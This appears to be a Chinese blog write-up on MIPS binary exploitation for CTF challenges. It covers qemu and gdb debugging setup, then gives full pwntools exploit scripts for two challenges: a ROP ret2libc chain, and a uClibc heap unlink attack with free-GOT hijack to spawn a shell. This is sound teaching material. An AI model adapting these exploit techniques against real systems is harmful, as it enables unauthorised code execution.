初探MIPS PWN

news/2024/11/16 7:38:19/文章来源:https://www.cnblogs.com/S1nyer/p/18352453

MIPS PWN调试环境配置&工具安装(Ubuntu 22.04)

安装 qemu

qemu 是一个支持跨平台虚拟化的虚拟机,有 user mode 和 system mode 两种配置方式。其中qemu 在system mode配置下模拟出整个计算机,可以在qemu之上运行一个操作系统。qemu 的system mode与常见的VMware和Virtualbox等虚拟机比较相似,但是qemu 的优势是可以跨指令集。例如,VMware和Virtualbox之类的工具通常只能在x86计算机上虚拟出一个x86计算机,而qemu 支持在x86上虚拟出一个ARM计算机。qemu在user mode配置下,可以运行跟当前平台指令集不同的平台可执行程序。例如可以用qemu在x86上运行ARM的可执行程序,但是两个平台必须是同一种操作系统,比如Linux。

sudo apt install qemu
sudo apt install qemu-user

安装 gdb-multiarch

gdb-multiarch 是一个经过交叉编译后的、支持多架构版本的 gdb。

sudo apt install gdb-multiarch

导入lib文件

一般来说题目会提供程序依赖的so库,所以在程序根目录创建一个lib文件夹并将依赖文件放进去

文件目录结构

├── lib
│   ├── ld-uClibc.so.0
│   └── libc.so.0
├── pwn2
└── run.sh1 directory, 4 files

然后输入下面命令测试能不能运行

qemu-mipsel-static -L . ./pwn2

开始调试

  • 先通过qemu运行程序

    qemu-mipsel-static -g 2333 -L ./ ./pwn2
    

    这里开的远程端口是2333

  • 再用gdb远程连接

    gdb-multiarch pwn2
    pwndbg> target remote 127.0.0.1:2333
    

出现调试窗口就说明成功啦

安装mipsrop插件

ida/plugins/mipsrop at master · grayhatacademy/ida (github.com)

下载py文件放到ida的plugins文件夹即可,要注意的是它依赖了shims模块(在同一个git项目下

所以也要下载ida_shims.py并放到plugins文件夹

如果插件加载有问题,改mipsrop.py文件的第82行为下面内容

# original:from shims import ida_shims 
# patched:
import ida_shims

题目1:mipspwn

程序分析

用ghidra打开该文件

查看main函数,看起来像个堆题,有add,delete和edit

然而我们找到选项7对应的description函数并跟进会发现,里面调用了vul函数

这是一个很明显的栈溢出漏洞,我们直接找gadget然后ret2libc即可

gadget的寻找

IDA -> search -> mips rop gadgets启动插件

首先我们需要找到能控制参数a0的gadget

这里找到了一个gadget,但使用它还需要控制s0和s2寄存器

寻找能控制s0,s2的gadget

接下来就简单了,利用这两个gadget,先puts泄露libc地址再执行system("/bin/sh")

这里用description函数中的puts调用,来打印read函数的真实地址,这样在puts结束后会向下执行vul函数,这样就有二次溢出的机会

exp

from pwn import *def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))context(arch = "mips",os = "linux",log_level = "debug")
file = "./pwn2"
libc = "./lib/libc.so.0"if len(sys.argv) > 1 and sys.argv[1] == "de":p = process(["qemu-mipsel-static", "-g", "2333", "-L", "./", file])
else:p = process(["qemu-mipsel-static", "-L", "./", file])
elf = ELF(file)
libc = ELF(libc)ru("Warrior,leave your name here:")
sl("s1nyer") 
ru("Your choice: ")
sl('7')
j_ra_s3_s2_s1_s0 = 0x00400798
m_a0_s0_t9_s2 = 0x000401040
read_got = elf.got["read"]
puts_addr = 0x00400FB4
pl = b'a'*(0x38+4)
pl += p32(j_ra_s3_s2_s1_s0)
pl += b'c'*0x1c
pl += p32(read_got)#s0
pl += p32(0)#s1
pl += p32(puts_addr)#s2
pl += p32(0)#s3
pl += p32(m_a0_s0_t9_s2)#ra
ru("Write down your feeling:")
sl(pl)
rc(1)
read_addr = u32(rc(4))
libc_base =read_addr - libc.sym["read"]
lg("libc_base", libc_base)
system, binsh = get_sb()
pl = b'a'*(0x38+4)
pl += p32(j_ra_s3_s2_s1_s0)
pl += b'c'*0x1c
pl += p32(binsh)#s0
pl += p32(0)#s1
pl += p32(system)#s2
pl += p32(0)#s3
pl += p32(m_a0_s0_t9_s2)#ra
sl(pl)ia()

题目2:managesystem

程序分析

先patch掉讨厌的alarm函数,把jalr那条指令改成nop(在hexview里把那四个字节全改成0

放到ghidra里查看主函数

经典的堆菜单,有add,delete,edit和show

最多同时存在0x10个堆,并且限制size < 0x8f

只有两次delete机会,并且delete后会把note_list里对应的指针置零,没有UAF

漏洞位于edit函数内,有八个字节的溢出

题目用的是uclibc,相当于小型的C语言标准库,和glibc有一些差异,源码:stdlib « libc - uClibc - A C library for embedded Linux

它没有main_arena全局变量,取而代之的是__malloc_state这个全局变量,我们可以看一下他的 malloc_state结构体

struct malloc_state {/* The maximum chunk size to be eligible for fastbin */size_t  max_fast;   /* low 2 bits used as flags *//* Fastbins */mfastbinptr      fastbins[NFASTBINS];/* Base of the topmost chunk -- not otherwise kept in a bin */mchunkptr        top;/* The remainder from the most recent split of a small request */mchunkptr        last_remainder;/* Normal bins packed as described above */mchunkptr        bins[NBINS * 2];/* Bitmap of bins. Trailing zero map handles cases of largest binned size */unsigned int     binmap[BINMAPSIZE+1];// 之后的结构就省略了............................................................
};

接着用gdb查一下内存布局,发现max_fast的值是8

pwndbg> x/20wx &__malloc_state
0x3ffd3108 <__malloc_state>:	0x00000008	0x00000000	0x00000000	0x00000000
0x3ffd3118 <__malloc_state+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x3ffd3128 <__malloc_state+32>:	0x00000000	0x00000000	0x00000000	0x00412028
0x3ffd3138 <__malloc_state+48>:	0x00000000	0x00000000	0x00000000	0x3ffd313c
0x3ffd3148 <__malloc_state+64>:	0x3ffd313c	0x3ffd3144	0x3ffd3144	0x3ffd314c

阅读源码发现是没有tcache机制的,并且由于max_fast的值是8,可以说free掉的堆都是不会进入fastbin而是优先进入unsorted bin

同时发现他的malloc_chunk结构和glibc对比没有fd_nextsize,bk_nextsize

struct malloc_chunk {size_t      prev_size;  /* Size of previous chunk (if free).  */size_t      size;       /* Size in bytes, including overhead. */struct malloc_chunk* fd;         /* double links -- used only if free. */struct malloc_chunk* bk;
};

unlink宏

/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {                                            \FD = P->fd;                                                          \BK = P->bk;                                                          \if (FD->bk != P || BK->fd != P)                                      \abort();                                                         \FD->bk = BK;                                                         \BK->fd = FD;                                                         \
}

所以可以用unlink攻击来劫持note_list

note_list = 0x411830
add(0x20)
add(0x20-8)
payload = flat(0, 0x21, note_list-12, note_list-8) # fake_chunk
payload += b'a'*0x10 # padding
payload += p32(0x20) + p32(0x20) # overwrite prev_size and size
edit(0,payload)
free(1)

这里有个很奇怪的问题,按理说unlink之后note_list[0]的存的指针是伪造的FD,也就是note_list-12。但是实际调试却发现是note_list-8,也就是伪造的BK

pwndbg> x/12wx 0x412008
0x412008:	0x00000000	0x00000021	0x00411824	0x00411828
0x412018:	0x61616161	0x61616161	0x61616161	0x61616161
0x412028:	0x00000020	0x00000020	0x00000000	0x00000000

想用watch命令跟踪一下note_list内存的读写情况也失败了,应该是qemu的原因

pwndbg> watch *0x411830
Hardware watchpoint 2: *0x411830
pwndbg> c
Continuing.
Warning:
Could not insert hardware watchpoint 2.
Could not insert hardware breakpoints:
You may have requested too many hardware breakpoints/watchpoints.

猜测可能是编译优化导致的指令乱序,下面两条语句的执行顺序调换了,所以导致最后note_list[0]的值是fake BK

FD->bk = BK;
BK->fd = FD;

(看uclibc源码这个unlink应该没问题的,但是没有符号也懒得调那个uclibc了 =_=

接下来note_ list写入read的GOT表地址,泄露libc

# leak libc
payload = b'\x00'*8 # padding
payload += flat(note_list, 0x50, elf.got['read'], 4)
edit(0, payload)
show(1)
ru("info: ")
libc_base = uu32() - libc.sym['read']
lg("libc_base", libc_base)

劫持free GOT地址为system函数,释放一个指向"/bin/sh\x00"字符串的地址即可

# hijack free GOT
system, binsh = get_sb()
payload = flat(note_list, 0, elf.got['free'], 0x10, binsh)
edit(0, payload)
edit(1, p32(system))
free(2)

exp

from pwn import *def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))context(arch = "mips",os = "linux",log_level = "debug")
file = "./managesystem"
libc = "./lib/libc.so.0"if len(sys.argv) > 1 and sys.argv[1] == "de":p = process(["qemu-mipsel-static", "-g", "2333", "-L", "./", file])
elif len(sys.argv) > 1 and sys.argv[1] == "re":p = remote("127.0.0.1", 28913)
else:p = process(["qemu-mipsel-static", "-L", "./", file])
elf = ELF(file)
libc = ELF(libc)def add(sz, ct='a'):sla("options >>", str(1))sla("length:", str(sz))if sz != 0:sa("info:", ct)def free(idx):sla("options >>", str(2))sla("user:", str(idx))def edit(idx, ct):sla("options >>", str(3))sla("want edit:", str(idx))sa("new user's info:", ct)def show(idx):sla("options >>", str(4))sla("want show: \n", str(idx))note_list = 0x411830
add(0x20)
add(0x20-8)
payload = flat(0, 0x21, note_list-12, note_list-8) # fake_chunk
payload += b'a'*0x10 # padding
payload += p32(0x20) + p32(0x20) # Overwrite prev_size and size
edit(0, payload)
free(1)# leak libc
payload = b'\x00'*8 # padding
payload += flat(note_list, 0x50, elf.got['read'], 4)
edit(0, payload)
show(1)
ru("info: ")
libc_base = uu32() - libc.sym['read']
lg("libc_base", libc_base)# hijack free GOT
system, binsh = get_sb()
payload = flat(note_list, 0, elf.got['free'], 0x10, binsh)
edit(0, payload)
edit(1, p32(system))
free(2)ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/780927.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Postman小工具大妙用

postman 大家都会用,但是很多人只是把它当作一个简单的http客户端。大部分时候,这就够了,因为http调用就是它的最核心的功能。 那么,这样一个“小”工具,究竟还有什么值得再说两句呢?目录写在前面基本概念UI基本结构collectionsvariables变量优先级environmentsScriptsCo…

portainer控制多个docker

打开docker的远程访问(参考下方博客) 觉得不安全可以配置 使用 TLS 加密 https://www.cnblogs.com/hongdada/p/11512901.html使用新版本portainer和我这个操作相同

007.Vue3入门,进行列表渲染来输出循环的内容

1、代码如下:<template><h3>列表渲染</h3><p v-for="(item,index) of names">序号:{{ index }},内容:{{ item }} </p><div v-for="item of result"><p>ID:{{ item.id }}, PKID:{{ item.pkid }}</p>&l…

计算机补码存储

以下过程用8位的有符号char表示数据。 1. 计算机为什么用补码存储整数加法运行计算机是按照二进制存储的,并且计算机只会做加法,不会减法。首先看下加法,例如1+1=20000 00010000 0001 ——————————0000 0010如果是1-1呢,因为计算机不会减法,会转换为1+(-1)。这就涉…

bean初始化生命周期

每天坚持,终会抵达!

2.g++分步编译演示从源码到执行程序的四步

2.g++分步编译演示从源码到执行程序的四步 2.1 gcc的工作流程 gcc编译器将c源文件到生成一个可执行程序,中间一共经历了四个步骤:四个步骤并不是gcc独立完成的,而是在内部调用了其他工具,从而完成了整个工作流程,其中编译最耗时,因为要逐行检查语法。gcc的工作流程: 1.预…

3.makefile运行流程分析并使用变量改写项目

3.makefile运行流程分析并使用变量改写项目GNU make用来构建和管理自己的工程 Makefile 文件描述了整个工程的编译、连接等规则3.1makefile变量的使用命令格式 含义CXX C++编译器的名称,默认值为g++CXXFLAGS C++编译器的选项,无默认值$* 不包含扩展名的目标文件名称$+ 所有的…

Epson L4168 固件升级

我的Epson L4168打印机提示固件升级,我手贱就点了OK。过一会再来看,发现打印机直接黑屏 显示EPSON PRINTER Recovery Mode,一看就知道升级失败变砖了。按任何键都没有反应。中文官网上没有这款打印机的recovery mode修复帮助。我就搜索一下其它国家的官网上发现L4168在北美地…

costmap代价地图

1 什么是costmap代价地图在机器人进行路径规划时,我们需要明白规划算法是依靠什么在地图上来计算出来一条路径的。依靠的是gmapping扫描构建的一张环境全局地图,但是仅仅依靠一张原始的全局地图是不行的。因为这张地图是静态的,无法随时来更新地图上的障碍物信息。在现实环境…

店铺点评_1_短信登录功能

1 短信登录 1.1 导入点评项目框架 1. 当前模型简述手机/app端发起请求,请求nginx服务器。(nginx基于七层模型走HTTP协议,可以实现基于Lua直接绕开tomcat访问redis;也可以作为静态资源服务器,实现上万并发,负责均衡到下游tomcat服务器,打散流量。一台4核8G的tomcat,在优…

sql优化小tips

sql优化小tips基础sql优化1、避免使用select * 尽量要什么字段查什么字段, select * 多查出来的数据在网络上IO传输的过程中,会增加数据传输的是的时间。且 select *不会走覆盖索引,会出现大量的回表操作,而从导致查询sql的性能很低。 ​ 覆盖索引(Covering Index): 覆盖…

一些面试小tips

反射 它赋予了我们在运行时分析类以及执行类中方法的能力。通过反射你可以获取任意一个类的所有属性和方法,你还可以调用这些方法和属性。 反射可以让代码更加灵活、(为各种框架提供开箱即用的功能提供了便利),一般我们写业务代码接触到直接使用反射机制的场景不多,但是在…